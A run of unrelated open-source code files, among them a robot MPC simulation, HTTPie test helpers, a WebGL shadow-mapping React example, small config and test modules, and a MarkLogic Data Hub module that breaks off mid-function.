#!/usr/bin/env python import numpy as np import matplotlib.pyplot as plt from mm2d.models import TopDownHolonomicModel from mm2d import obstacle, plotter, control from mm2d.util import rms import IPython # robot parameters L1 = 1 L2 = 1 VEL_LIM = 1 ACC_LIM = 1 DT = 0.1 # simulation timestep (s) MPC_DT = 0.1 # timestep for MPC DURATION = 30.0 # duration of trajectory (s) NUM_HORIZON = 20 # number of time steps for prediction horizon def main(): N = int(DURATION / DT) + 1 model = TopDownHolonomicModel(L1, L2, VEL_LIM, acc_lim=ACC_LIM, output_idx=[0, 1]) Q = np.eye(model.no) R = np.eye(model.ni) * 0.1 controller = control.ObstacleAvoidingMPC(model, MPC_DT, Q, R, VEL_LIM, ACC_LIM) ts = DT * np.arange(N) qs = np.zeros((N, model.ni)) dqs = np.zeros((N, model.ni)) us = np.zeros((N, model.ni)) ps = np.zeros((N, model.no)) vs = np.zeros((N, model.no)) pds = np.zeros((N, model.no)) # initial state q = np.array([0, 0, 0, 0.25*np.pi, -0.5*np.pi]) p = model.forward(q) dq = np.zeros(model.ni) # obstacle pc = np.array([3., 0]) obs = obstacle.Circle(0.5, 10) pg = np.array([5., 0]) qs[0, :] = q ps[0, :] = p pds[0, :] = p circle_renderer = plotter.CircleRenderer(obs.r, pc) robot_renderer = plotter.TopDownHolonomicRenderer(model, q) plot = plotter.RealtimePlotter([robot_renderer, circle_renderer]) plot.start(limits=[-5, 10, -5, 10], grid=True) for i in range(N - 1): n = min(NUM_HORIZON, N - 1 - i) pd = np.tile(pg, n) u = controller.solve(q, dq, pd, n, pc) # step the model q, dq = model.step(q, u, DT, dq_last=dq) p = model.forward(q) v = model.jacobian(q).dot(dq) # obstacle interaction f, movement = obs.calc_point_force(pc, p) pc += movement # record us[i, :] = u dqs[i+1, :] = dq qs[i+1, :] = q ps[i+1, :] = p pds[i+1, :] = pd[:model.no] vs[i+1, :] = v # render robot_renderer.set_state(q) circle_renderer.set_state(pc) plot.update() plot.done() xe = pds[1:, 0] - ps[1:, 0] ye = pds[1:, 1] - ps[1:, 1] print('RMSE(x) = {}'.format(rms(xe))) print('RMSE(y) = {}'.format(rms(ye))) plt.figure() plt.plot(ts, pds[:, 0], label='$x_d$', color='b', linestyle='--') plt.plot(ts, pds[:, 1], label='$y_d$', color='r', linestyle='--') plt.plot(ts, ps[:, 0], label='$x$', color='b') plt.plot(ts, ps[:, 1], label='$y$', color='r') plt.grid() plt.legend() plt.xlabel('Time (s)') plt.ylabel('Position') plt.title('End effector position') plt.figure() plt.plot(ts, dqs[:, 0], label='$\\dot{q}_x$') plt.plot(ts, dqs[:, 1], label='$\\dot{q}_1$') plt.plot(ts, dqs[:, 2], label='$\\dot{q}_2$') plt.grid() plt.legend() plt.title('Actual joint velocity') plt.xlabel('Time (s)') plt.ylabel('Velocity') plt.figure() plt.plot(ts, us[:, 0], label='$u_x$') plt.plot(ts, us[:, 1], label='$u_1$') plt.plot(ts, us[:, 2], label='$u_2$') plt.grid() plt.legend() plt.title('Commanded joint velocity') plt.xlabel('Time (s)') plt.ylabel('Velocity') plt.figure() plt.plot(ts, qs[:, 0], label='$q_x$') plt.plot(ts, qs[:, 1], label='$q_1$') plt.plot(ts, qs[:, 2], label='$q_2$') plt.grid() plt.legend() plt.title('Joint positions') plt.xlabel('Time (s)') plt.ylabel('Joint positions') plt.show() if __name__ == '__main__': main()
# coding=utf-8 """Utilities for HTTPie test suite.""" import re import shlex import sys import time import json import tempfile from io import BytesIO from pathlib import Path from typing import Optional, Union, List from httpie.status import ExitStatus from httpie.config import Config from httpie.context import Environment from httpie.core import main # pytest-httpbin currently does not support chunked requests: # <https://github.com/kevin1024/pytest-httpbin/issues/33> # <https://github.com/kevin1024/pytest-httpbin/issues/28> HTTPBIN_WITH_CHUNKED_SUPPORT = 'http://pie.dev' TESTS_ROOT = Path(__file__).parent.parent CRLF = '\r\n' COLOR = '\x1b[' HTTP_OK = '200 OK' # noinspection GrazieInspection HTTP_OK_COLOR = ( 'HTTP\x1b[39m\x1b[38;5;245m/\x1b[39m\x1b' '[38;5;37m1.1\x1b[39m\x1b[38;5;245m \x1b[39m\x1b[38;5;37m200' '\x1b[39m\x1b[38;5;245m \x1b[39m\x1b[38;5;136mOK' ) def mk_config_dir() -> Path: dirname = tempfile.mkdtemp(prefix='httpie_config_') return Path(dirname) def add_auth(url, auth): proto, rest = url.split('://', 1) return proto + '://' + auth + '@' + rest class StdinBytesIO(BytesIO): """To be used for `MockEnvironment.stdin`""" len = 0 # See `prepare_request_body()` class MockEnvironment(Environment): """Environment subclass with reasonable defaults for testing.""" colors = 0 # For easier debugging stdin_isatty = True, stdout_isatty = True is_windows = False def __init__(self, create_temp_config_dir=True, **kwargs): if 'stdout' not in kwargs: kwargs['stdout'] = tempfile.TemporaryFile( mode='w+b', prefix='httpie_stdout' ) if 'stderr' not in kwargs: kwargs['stderr'] = tempfile.TemporaryFile( mode='w+t', prefix='httpie_stderr' ) super().__init__(**kwargs) self._create_temp_config_dir = create_temp_config_dir self._delete_config_dir = False self._temp_dir = Path(tempfile.gettempdir()) @property def config(self) -> Config: if (self._create_temp_config_dir and self._temp_dir not in self.config_dir.parents): self.create_temp_config_dir() return super().config def create_temp_config_dir(self): self.config_dir = mk_config_dir() self._delete_config_dir = True def cleanup(self): self.stdout.close() self.stderr.close() if self._delete_config_dir: assert self._temp_dir in self.config_dir.parents from shutil import rmtree rmtree(self.config_dir, ignore_errors=True) def __del__(self): # noinspection PyBroadException try: self.cleanup() except Exception: pass class BaseCLIResponse: """ Represents the result of simulated `$ http' invocation via `http()`. Holds and provides access to: - stdout output: print(self) - stderr output: print(self.stderr) - devnull output: print(self.devnull) - exit_status output: print(self.exit_status) """ stderr: str = None devnull: str = None json: dict = None exit_status: ExitStatus = None command: str = None args: List[str] = [] complete_args: List[str] = [] @property def command(self): cmd = ' '.join(shlex.quote(arg) for arg in ['http', *self.args]) # pytest-httpbin to real httpbin. return re.sub(r'127\.0\.0\.1:\d+', 'httpbin.org', cmd) class BytesCLIResponse(bytes, BaseCLIResponse): """ Used as a fallback when a StrCLIResponse cannot be used. E.g. when the output contains binary data or when it is colorized. `.json` will always be None. """ class StrCLIResponse(str, BaseCLIResponse): @property def json(self) -> Optional[dict]: """ Return deserialized the request or response JSON body, if one (and only one) included in the output and is parsable. """ if not hasattr(self, '_json'): self._json = None # De-serialize JSON body if possible. if COLOR in self: # Colorized output cannot be parsed. pass elif self.strip().startswith('{'): # Looks like JSON body. self._json = json.loads(self) elif self.count('Content-Type:') == 1: # Looks like a HTTP message, # try to extract JSON from its body. try: j = self.strip()[self.strip().rindex('\r\n\r\n'):] except ValueError: pass else: try: # noinspection PyAttributeOutsideInit self._json = json.loads(j) except ValueError: pass return self._json class ExitStatusError(Exception): pass def http( *args, program_name='http', tolerate_error_exit_status=False, **kwargs, ) -> Union[StrCLIResponse, BytesCLIResponse]: # noinspection PyUnresolvedReferences """ Run HTTPie and capture stderr/out and exit status. Content writtent to devnull will be captured only if env.devnull is set manually. Invoke `httpie.core.main()` with `args` and `kwargs`, and return a `CLIResponse` subclass instance. The return value is either a `StrCLIResponse`, or `BytesCLIResponse` if unable to decode the output. Devnull is string when possible, bytes otherwise. The response has the following attributes: `stdout` is represented by the instance itself (print r) `stderr`: text written to stderr `devnull` text written to devnull. `exit_status`: the exit status `json`: decoded JSON (if possible) or `None` Exceptions are propagated. If you pass ``tolerate_error_exit_status=True``, then error exit statuses won't result into an exception. Example: $ http --auth=user:password GET pie.dev/basic-auth/user/password >>> httpbin = getfixture('httpbin') >>> r = http('-a', 'user:pw', httpbin.url + '/basic-auth/user/pw') >>> type(r) == StrCLIResponse True >>> r.exit_status <ExitStatus.SUCCESS: 0> >>> r.stderr '' >>> 'HTTP/1.1 200 OK' in r True >>> r.json == {'authenticated': True, 'user': 'user'} True """ env = kwargs.get('env') if not env: env = kwargs['env'] = MockEnvironment() stdout = env.stdout stderr = env.stderr devnull = env.devnull args = list(args) args_with_config_defaults = args + env.config.default_options add_to_args = [] if '--debug' not in args_with_config_defaults: if (not tolerate_error_exit_status and '--traceback' not in args_with_config_defaults): add_to_args.append('--traceback') if not any('--timeout' in arg for arg in args_with_config_defaults): add_to_args.append('--timeout=3') complete_args = [program_name, *add_to_args, *args] # print(' '.join(complete_args)) def dump_stderr(): stderr.seek(0) sys.stderr.write(stderr.read()) try: try: exit_status = main(args=complete_args, **kwargs) if '--download' in args: # Let the progress reporter thread finish. time.sleep(.5) except SystemExit: if tolerate_error_exit_status: exit_status = ExitStatus.ERROR else: dump_stderr() raise except Exception: stderr.seek(0) sys.stderr.write(stderr.read()) raise else: if (not tolerate_error_exit_status and exit_status != ExitStatus.SUCCESS): dump_stderr() raise ExitStatusError( 'httpie.core.main() unexpectedly returned' f' a non-zero exit status: {exit_status}' ) stdout.seek(0) stderr.seek(0) devnull.seek(0) output = stdout.read() devnull_output = devnull.read() try: output = output.decode('utf8') except UnicodeDecodeError: r = BytesCLIResponse(output) else: r = StrCLIResponse(output) try: devnull_output = devnull_output.decode('utf8') except Exception: pass r.devnull = devnull_output r.stderr = stderr.read() r.exit_status = exit_status r.args = args r.complete_args = ' '.join(complete_args) if r.exit_status != ExitStatus.SUCCESS: sys.stderr.write(r.stderr) # print(f'\n\n$ {r.command}\n') return r finally: devnull.close() stdout.close() stderr.close() env.cleanup()
/* * Licensed to Elasticsearch B.V. under one or more contributor * license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright * ownership. Elasticsearch B.V. licenses this file to you under * the Apache License, Version 2.0 (the "License"); you may * not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ import 'angular-aria'; import { uiModules } from '../modules'; /** * This module will take care of attaching appropriate aria tags related to some angular stuff, * e.g. it will attach aria-invalid if the model state is set to invalid. * * You can find more infos in the official documentation: https://docs.angularjs.org/api/ngAria. * * Three settings are disabled: it won't automatically attach `tabindex`, `role=button` or * handling keyboard events for `ngClick` directives. Kibana uses `kbnAccessibleClick` to handle * those cases where you need an `ngClick` non button element to have keyboard access. */ uiModules .get('kibana', ['ngAria']) .config(($ariaProvider) => { $ariaProvider.config({ bindKeydown: false, bindRoleForClick: false, tabindex: false, }); });
# # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import json import os import fixtures from tests import common class HookCfnInitTest(common.RunScriptTest): data = { 'group': 'cfn-init', 'inputs': [], 'config': {'foo': 'bar'} } def setUp(self): super(HookCfnInitTest, self).setUp() self.hook_path = self.relative_path( __file__, '..', 'heat-config-cfn-init/install.d/hook-cfn-init.py') self.fake_tool_path = self.relative_path( __file__, 'config-tool-fake.py') self.metadata_dir = self.useFixture(fixtures.TempDir()) # use the temp dir to store the fake config tool state too self.test_state_path = self.metadata_dir.join('test_state.json') self.env = os.environ.copy() self.env.update({ 'HEAT_CFN_INIT_LAST_METADATA_DIR': self.metadata_dir.join(), 'HEAT_CFN_INIT_CMD': self.fake_tool_path, 'TEST_STATE_PATH': self.test_state_path, }) def test_hook(self): self.env.update({ 'TEST_RESPONSE': json.dumps({ 'stdout': 'cfn-init success', 'stderr': 'thing happened' }), }) returncode, stdout, stderr = self.run_cmd( [self.hook_path], self.env, json.dumps(self.data)) self.assertEqual(0, returncode, stderr) self.assertEqual({ 'deploy_stdout': 'cfn-init success', 'deploy_stderr': 'thing happened', 'deploy_status_code': 0 }, json.loads(stdout.decode('utf-8'))) # assert last_metadata was written with cfn-init metadata self.assertEqual( {'AWS::CloudFormation::Init': {'foo': 'bar'}}, self.json_from_file(self.metadata_dir.join('last_metadata'))) # assert cfn-init was called with no args self.assertEqual( [self.fake_tool_path], self.json_from_file(self.test_state_path)['args']) def test_hook_cfn_init_failed(self): self.env.update({ 'TEST_RESPONSE': json.dumps({ 'stderr': 'bad thing happened', 'returncode': 1 }), }) returncode, stdout, stderr = self.run_cmd( [self.hook_path], self.env, json.dumps(self.data)) self.assertEqual(0, returncode, stderr) self.assertEqual({ 'deploy_stdout': '', 'deploy_stderr': 'bad thing happened', 'deploy_status_code': 1 }, json.loads(stdout.decode('utf-8'))) self.assertEqual( {'AWS::CloudFormation::Init': {'foo': 'bar'}}, self.json_from_file(self.metadata_dir.join('last_metadata'))) # assert cfn-init was called with no args self.assertEqual( [self.fake_tool_path], self.json_from_file(self.test_state_path)['args']) def test_hook_invalid_json(self): returncode, stdout, stderr = self.run_cmd( [self.hook_path], self.env, "{::::") self.assertEqual(1, returncode, stderr)
import Body from './body.js'; const Buildings = { view() { return { building: { id: 'id-goes-here', name: 'Planetary Command', image: 'command6', level: 6, x: 0, y: 0, food_hour: 500, food_capacity: 500, energy_hour: -44, energy_capacity: 500, ore_hour: -310, ore_capacity: 500, water_hour: -100, water_capacity: 500, waste_hour: 33, waste_capacity: 500, happiness_hour: 0, efficiency: 100, repair_costs: { food: 10, water: 10, energy: 10, ore: 10, }, // 'pending_build' : { // 'seconds_remaining' : 430, // 'start' : '01 31 2010 13:09:05 +0600', // 'end' : '01 31 2010 18:09:05 +0600' // }, // 'work' : { // 'seconds_remaining' : 49, // 'start' : '01 31 2010 13:09:05 +0600', // 'end' : '01 31 2010 18:09:05 +0600' // }, downgrade: { can: 1, reason: '', image: 'command5', }, upgrade: { can: 0, reason: [1011, 'Not enough resources.', 'food'], cost: { food: 500, water: 500, energy: 500, waste: 500, ore: 1000, time: 1200, }, production: { food_hour: 1500, food_capacity: 500, energy_hour: -144, energy_capacity: 500, ore_hour: -1310, ore_capacity: 500, water_hour: -1100, water_capacity: 500, waste_hour: 133, waste_capacity: 500, happiness_hour: 0, }, image: 'command7', }, }, status: Body.get_status(), }; }, }; export default Buildings;
/** * @module JSON Object Signing and Encryption (JOSE) */ const crypto = require('./crypto') const JWA = require('./jose/JWA') const JWK = require('./jose/JWK') const JWKSet = require('./jose/JWKSet') const JWT = require('./jose/JWT') const JWS = require('./jose/JWS') /** * Export */ module.exports = { crypto, JWA, JWK, JWKSet, JWT, JWS }
'use strict'; const path = require('path'); const isModuleUnificationProject = require('../module-unification').isModuleUnificationProject; module.exports = { description: 'Generates a simple utility module/function.', fileMapTokens() { if (isModuleUnificationProject(this.project)) { return { __root__(options) { if (options.pod) { throw new Error("Pods aren't supported within a module unification app"); } if (options.inDummy) { return path.join('tests', 'dummy', 'src'); } return 'src'; }, __testType__() { return ''; }, }; } }, normalizeEntityName: function(entityName) { return entityName.replace(/\.js$/, ''); //Prevent generation of ".js.js" files }, };
import torch.nn as nn from chemprop.nn_utils import get_activation_function from chemprop.args import TrainArgs def create_FPEncoder(args: TrainArgs): """ Encodes Molecule Fingerpirnt using Feed-Forward Network. Args: :param args: A :class:`~chemprop.args.TrainArgs` object containing model arguments. Output: Sequential of Feed-forward layers for the model. """ first_linear_dim = args.features_size dropout = nn.Dropout(args.dropout) activation = get_activation_function(args.activation) # Create FFN layers if args.ffn_num_layers == 1: ffn = [dropout, nn.Linear(first_linear_dim, args.fp_ffn_output_size)] else: ffn = [dropout, nn.Linear(first_linear_dim, args.fp_ffn_hidden_size)] for _ in range(args.fp_ffn_num_layers - 2): ffn.extend( [activation, dropout, nn.Linear(args.fp_ffn_hidden_size, args.fp_ffn_hidden_size),] ) ffn.extend( [activation, dropout, nn.Linear(args.fp_ffn_hidden_size, args.fp_ffn_output_size),] ) # return FFN model return nn.Sequential(*ffn)
const devMode = (process.env.NODE_ENV !== 'development'); export default { // App Details appName: 'Chapi Time', // Build Configuration - eg. Debug or Release? DEV: devMode, // Google Analytics - uses a 'dev' account while we're testing gaTrackingId: (devMode) ? 'UA-84284256-2' : 'UA-84284256-1', };
var callbackArguments = []; var argument1 = function() { callbackArguments.push(arguments) return 40.20292361158235; }; var argument2 = null; var argument3 = {"0":9.621481433400743e+307,"122":"o","607":"","893":1.5647692511102445e+308,"3.8891171587324823e+307":627,"C":-1,"5-":"","1.3130321063336282e+308":0,"]":""}; var argument4 = function() { callbackArguments.push(arguments) return {"ƒHí”":[],"\"":0.34789500375557236,"¸U»Þ¿qâ":1,"L‹ž|—ºz\\":-5.869205826984848}; }; var argument5 = 3.9010328404211665e+307; var argument6 = false; var argument7 = function() { callbackArguments.push(arguments) return -92; }; var argument8 = function() { callbackArguments.push(arguments) return 0; }; var argument9 = null; var argument10 = false; var base_0 = [0,714,59,213,100,843,122,213] var r_0= undefined try { r_0 = base_0.some(argument1,argument2,argument3) } catch(e) { r_0= "Error" } var base_1 = [0,714,59,213,100,843,122,213] var r_1= undefined try { r_1 = base_1.some(argument4,argument5,argument6) } catch(e) { r_1= "Error" } var base_2 = [0,714,59,213,100,843,122,213] var r_2= undefined try { r_2 = base_2.some(argument7) } catch(e) { r_2= "Error" } var base_3 = [0,714,59,213,100,843,122,213] var r_3= undefined try { r_3 = base_3.some(argument8,argument9,argument10) } catch(e) { r_3= "Error" } function serialize(array){ return array.map(function(a){ if (a === null || a == undefined) return a; var name = a.constructor.name; if (name==='Object' || name=='Boolean'|| name=='Array'||name=='Number'||name=='String') return JSON.stringify(a); return name; }); } setTimeout(function(){ require("fs").writeFileSync("./experiments/some/someQC/test648.json",JSON.stringify({"baseObjects":serialize([base_0,base_1,base_2,base_3]),"returnObjects":serialize([r_0,r_1,r_2,r_3]),"callbackArgs":callbackArguments})) },300)
/** * Foo! * @example * const addOne = add(1) * addOne(1) // => 2 */ const add = (a) => (b) => a + b
// Array Methods // toString(), join() // pop() // push() // shift() // unshift() // delete: not recommended // splice() // concat() // slice()
import os import pytest import json import testinfra.utils.ansible_runner testinfra_hosts = testinfra.utils.ansible_runner.AnsibleRunner( os.environ['MOLECULE_INVENTORY_FILE']).get_hosts('all') @pytest.fixture() def waited_failed_task_name(host): all_variables = host.ansible.get_variables() return all_variables['waited_failed_task_name'] @pytest.fixture() def waited_failed_result_msg(host): all_variables = host.ansible.get_variables() return all_variables['waited_failed_result_msg'] @pytest.fixture() def failure_info(host): all_variables = host.ansible.get_variables() json_file_path = "{}/failure_{}.json".format( os.environ['MOLECULE_EPHEMERAL_DIRECTORY'], all_variables['inventory_hostname'] ) with open(json_file_path) as json_file: data = json.load(json_file) return data def test_failed_task_name(host, failure_info, waited_failed_task_name): assert failure_info['task_name'] == waited_failed_task_name def test_failed_message(host, failure_info, waited_failed_result_msg): assert failure_info['return']['msg'] == waited_failed_result_msg
import { mat4, vec3, vec4 } from "gl-matrix" import React, { useCallback, useEffect, useState } from "react" import { coordArrToString, runOnPredicate } from "../../../util" import wrapExample from "../../../webgl-example-view" import WebGlWrapper from "../../../webgl-wrapper" import { directionalLightMapFragmentShaderSource, directionalLightMapVertexShaderSource } from "./map-example-shaders" import { modelIndices, modelNormals, modelVertices } from "./model-fixed" import { directionalLightShadowFixedFragmentShaderSource, directionalLightShadowFixedVertexShaderSource, } from "./shadow-fixed-example-shaders" const shadowMapShaderProgramInfo = { vertex: { attributeLocations: { vertexPosition: "vec4", }, uniformLocations: { modelMatrix: "mat4", viewMatrix: "mat4", projectionMatrix: "mat4", }, }, fragment: { attributeLocations: {}, uniformLocations: {}, }, } const shaderProgramInfo = { vertex: { attributeLocations: { vertexPosition: "vec4", vertexNormal: "vec4", }, uniformLocations: { modelMatrix: "mat4", viewMatrix: "mat4", projectionMatrix: "mat4", lightModelMatrix: "mat4", lightViewMatrix: "mat4", lightProjectionMatrix: "mat4", lightDirection_worldSpace: "vec4", lightColor: "vec3", lightIntensity: "float", }, }, fragment: { attributeLocations: {}, uniformLocations: { ambientFactor: "float", shadowMapTextureSampler: "sampler2D", }, }, } const lightDirectionInverted = vec4.create() vec4.normalize(lightDirectionInverted, vec4.fromValues(-9.0, 27.0, -18.0, 0.0)) const lightModelPosition = vec4.fromValues(-9.0, 27.0, -18.0, 0.0) const lightColor = vec3.fromValues(1.0, 1.0, 1.0) const lightIntensity = 0.75 const sceneModelPosition = mat4.create() const ShadowMappingFixedModelDirectionalLightZoomedShadowExample = () => { const scene = { vertices: modelVertices, normals: modelNormals, indices: modelIndices, ambientFactor: 0.1, } const [webGlRef, updateWebGlRef] = useState(null) const [shadowMapShaderProgram, updateShadowMapShaderProgram] = useState(null) const [shadowMapShaderInfo, updateShadowMapShaderInfo] = useState(null) const [shadowMapSceneBuffer, updateShadowMapSceneBuffer] = useState({ vertices: null, indices: null, shadowMapTexture: null, }) const [shaderProgram, updateShaderProgram] = useState(null) const [shaderInfo, updateShaderInfo] = useState(null) const [sceneBuffer, updateSceneBuffer] = useState({ vertices: null, normals: null, indices: null, }) const [shadowMapFramebuffer, updateShadowMapFramebuffer] = useState(null) const [shouldRender, updateShouldRender] = useState(true) const canvasRef = useCallback((canvas) => { if (canvas !== null) { updateWebGlRef(new WebGlWrapper(canvas, sceneModelPosition)) return () => updateWebGlRef((webGlRef) => { webGlRef.destroy() return null }) } }, []) useEffect( runOnPredicate(webGlRef !== null, () => { updateShadowMapShaderProgram( webGlRef.createShaderProgram( directionalLightMapVertexShaderSource, directionalLightMapFragmentShaderSource ) ) }), [webGlRef] ) useEffect( runOnPredicate(shadowMapShaderProgram !== null, () => { updateShadowMapShaderInfo( webGlRef.getDataLocations( shadowMapShaderProgram, shadowMapShaderProgramInfo ) ) }), [shadowMapShaderProgram] ) useEffect( runOnPredicate(shadowMapShaderInfo !== null, () => { updateShadowMapSceneBuffer({ vertices: webGlRef.createStaticDrawArrayBuffer( scene.vertices.flat(), shadowMapSceneBuffer.vertices ), indices: webGlRef.createElementArrayBuffer( scene.indices.flat(), shadowMapSceneBuffer.indices ), shadowMapTexture: webGlRef.createRenderTargetTexture( shadowMapSceneBuffer.shadowMapTexture ), }) }), [shadowMapShaderInfo] ) useEffect( runOnPredicate(shadowMapSceneBuffer.shadowMapTexture !== null, () => { updateShadowMapFramebuffer( webGlRef.createTextureTargetFramebuffer( shadowMapSceneBuffer.shadowMapTexture, shadowMapFramebuffer, true ) ) }), [shadowMapSceneBuffer] ) useEffect( runOnPredicate(shadowMapFramebuffer !== null, () => { updateShaderProgram( webGlRef.createShaderProgram( directionalLightShadowFixedVertexShaderSource, directionalLightShadowFixedFragmentShaderSource ) ) }), [shadowMapFramebuffer] ) useEffect( runOnPredicate(shaderProgram !== null, () => { updateShaderInfo( webGlRef.getDataLocations(shaderProgram, shaderProgramInfo) ) }), [shaderProgram] ) useEffect( runOnPredicate(shaderInfo !== null, () => { updateSceneBuffer({ vertices: webGlRef.createStaticDrawArrayBuffer( scene.vertices.flat(), sceneBuffer.vertices ), normals: webGlRef.createStaticDrawArrayBuffer( scene.normals.flat(), sceneBuffer.normals ), indices: webGlRef.createElementArrayBuffer( scene.indices.flat(), sceneBuffer.indices ), }) }), [shaderInfo] ) useEffect( runOnPredicate(sceneBuffer.vertices !== null, () => { updateShouldRender(true) const renderScene = () => { const lightModelMatrix = mat4.create() const lightViewMatrix = mat4.create() const lightProjectionMatrix = mat4.create() webGlRef.renderToFramebuffer(shadowMapFramebuffer, () => { webGlRef.renderSceneOrtho(({ gl, modelMatrix }) => { if (!shouldRender) { return } const { aspect } = webGlRef.canvasDimensions mat4.ortho( lightProjectionMatrix, -4 * aspect, 4 * aspect, -4, 4, 25.0, 40.0 ) gl.clearColor(1.0, 1.0, 1.0, 1.0) gl.clearDepth(1.0) gl.clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT) mat4.lookAt( lightViewMatrix, lightModelPosition, [0.0, 0.0, 0.0], [0.0, 1.0, 0.0] ) mat4.scale(lightModelMatrix, modelMatrix, [1.45, 1.45, 1.45]) gl.bindBuffer(gl.ARRAY_BUFFER, shadowMapSceneBuffer.vertices) gl.vertexAttribPointer( shadowMapShaderInfo.vertex.attributeLocations.vertexPosition, 3, gl.FLOAT, false, 0, 0 ) gl.enableVertexAttribArray( shadowMapShaderInfo.vertex.attributeLocations.vertexPosition ) gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, shadowMapSceneBuffer.indices) gl.useProgram(shadowMapShaderProgram) gl.uniformMatrix4fv( shadowMapShaderInfo.vertex.uniformLocations.projectionMatrix, false, lightProjectionMatrix ) gl.uniformMatrix4fv( shadowMapShaderInfo.vertex.uniformLocations.viewMatrix, false, lightViewMatrix ) gl.uniformMatrix4fv( shadowMapShaderInfo.vertex.uniformLocations.modelMatrix, false, lightModelMatrix ) gl.drawElements( gl.TRIANGLES, scene.indices.length, gl.UNSIGNED_SHORT, 0 ) }) }) webGlRef.renderScene(({ gl, projectionMatrix, _, modelMatrix }) => { if (!shouldRender) { return } const viewMatrix = mat4.create() mat4.lookAt( viewMatrix, [-1.125, 1.0, -0.0625], [0.0, 1.0, 0.0], [0.0, 1.0, 0.0] ) gl.bindBuffer(gl.ARRAY_BUFFER, sceneBuffer.vertices) gl.vertexAttribPointer( shaderInfo.vertex.attributeLocations.vertexPosition, 3, gl.FLOAT, false, 0, 0 ) gl.enableVertexAttribArray( shaderInfo.vertex.attributeLocations.vertexPosition ) gl.bindBuffer(gl.ARRAY_BUFFER, sceneBuffer.normals) gl.vertexAttribPointer( shaderInfo.vertex.attributeLocations.vertexNormal, 3, gl.FLOAT, false, 0, 0 ) gl.enableVertexAttribArray( shaderInfo.vertex.attributeLocations.vertexNormal ) gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, sceneBuffer.indices) gl.useProgram(shaderProgram) gl.uniformMatrix4fv( shaderInfo.vertex.uniformLocations.projectionMatrix, false, projectionMatrix ) gl.uniformMatrix4fv( shaderInfo.vertex.uniformLocations.viewMatrix, false, viewMatrix ) gl.uniformMatrix4fv( shaderInfo.vertex.uniformLocations.modelMatrix, false, modelMatrix ) gl.uniformMatrix4fv( shaderInfo.vertex.uniformLocations.lightModelMatrix, false, lightModelMatrix ) gl.uniformMatrix4fv( shaderInfo.vertex.uniformLocations.lightViewMatrix, false, lightViewMatrix ) gl.uniformMatrix4fv( shaderInfo.vertex.uniformLocations.lightProjectionMatrix, false, lightProjectionMatrix ) gl.uniform4fv( shaderInfo.vertex.uniformLocations.lightDirection_worldSpace, lightDirectionInverted ) gl.uniform3fv( shaderInfo.vertex.uniformLocations.lightColor, lightColor ) gl.uniform1f( shaderInfo.vertex.uniformLocations.lightIntensity, lightIntensity ) gl.uniform1f( shaderInfo.fragment.uniformLocations.ambientFactor, scene.ambientFactor ) gl.activeTexture(gl.TEXTURE0) gl.bindTexture(gl.TEXTURE_2D, shadowMapSceneBuffer.shadowMapTexture) gl.uniform1i( shaderInfo.fragment.uniformLocations.shadowMapTextureSampler, 0 ) gl.drawElements( gl.TRIANGLES, scene.indices.length, gl.UNSIGNED_SHORT, 0 ) }) requestAnimationFrame(renderScene) } requestAnimationFrame(renderScene) return () => updateShouldRender(false) }), [sceneBuffer] ) const colorCoords = { x: "r", y: "g", z: "b" } return ( <div className="util text-center" style={{ padding: "1rem" }}> <canvas width="640" height="480" ref={canvasRef}> Cannot run WebGL examples (not supported) </canvas> <pre className="util text-left"> {` Scene: World Position: ${coordArrToString([0.0, 0.0, 0.0])} Lighting: Ambient Factor: ${scene.ambientFactor} `.trim()} </pre> <pre className="util text-left"> {` Light: Direction: ${coordArrToString( lightDirectionInverted.map((coord) => -1 * coord) )} Color: ${coordArrToString(lightColor, colorCoords)} Intensity: ${lightIntensity} `.trim()} </pre> </div> ) } export default wrapExample( ShadowMappingFixedModelDirectionalLightZoomedShadowExample )
import { prism } from '.'; import { isInteger } from './Integer'; import { isNonNegative } from './NonNegative'; /** * @since 0.2.0 */ export var isNonNegativeInteger = function (n) { return isNonNegative(n) && isInteger(n); }; /** * @since 0.2.0 */ export var prismNonNegativeInteger = prism(isNonNegativeInteger);
import {request} from "./request"; export function getHomeMultidata(){ return request({ url:'/home/multidata' }) } export function getHomeGoods(type,page){ return request({ url:'/home/data', params:{ type, page } }) }
function test() { let a = [,,,,,,,,,]; return a.concat(); } noInline(test); test()[0] = 42; // Set the ArrayAllocationProfile to Int32Shape. for (let i = 0; i < 20000; ++i) { var result = test(); if (result[0]) throw result.toString(); }
/** Copyright (c) 2021 MarkLogic Corporation Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ 'use strict'; const DataHubSingleton = require('/data-hub/5/datahub-singleton.sjs'); const dataHub = DataHubSingleton.instance(); const HubUtils = require("/data-hub/5/impl/hub-utils.sjs"); const collections = ['http://marklogic.com/data-hub/step-definition']; const databases = [dataHub.config.STAGINGDATABASE, dataHub.config.FINALDATABASE]; const requiredProperties = ['name']; function getNameProperty() { return 'name'; } function getCollections() { return collections; } function getStorageDatabases() { return databases; } function getPermissions() { let permsString = "%%mlStepDefinitionPermissions%%"; // Default to the given string in case the above token has not been replaced permsString = permsString.indexOf("%mlStepDefinitionPermissions%") > -1 ? "data-hub-step-definition-reader,read,data-hub-step-definition-writer,update" : permsString; return new HubUtils().parsePermissions(permsString); } function getArtifactNode(artifactName, artifactVersion) { const results = cts.search(cts.andQuery([cts.collectionQuery(collections[0]), cts.jsonPropertyValueQuery('name', artifactName)])); return results.toArray().find(artifact => 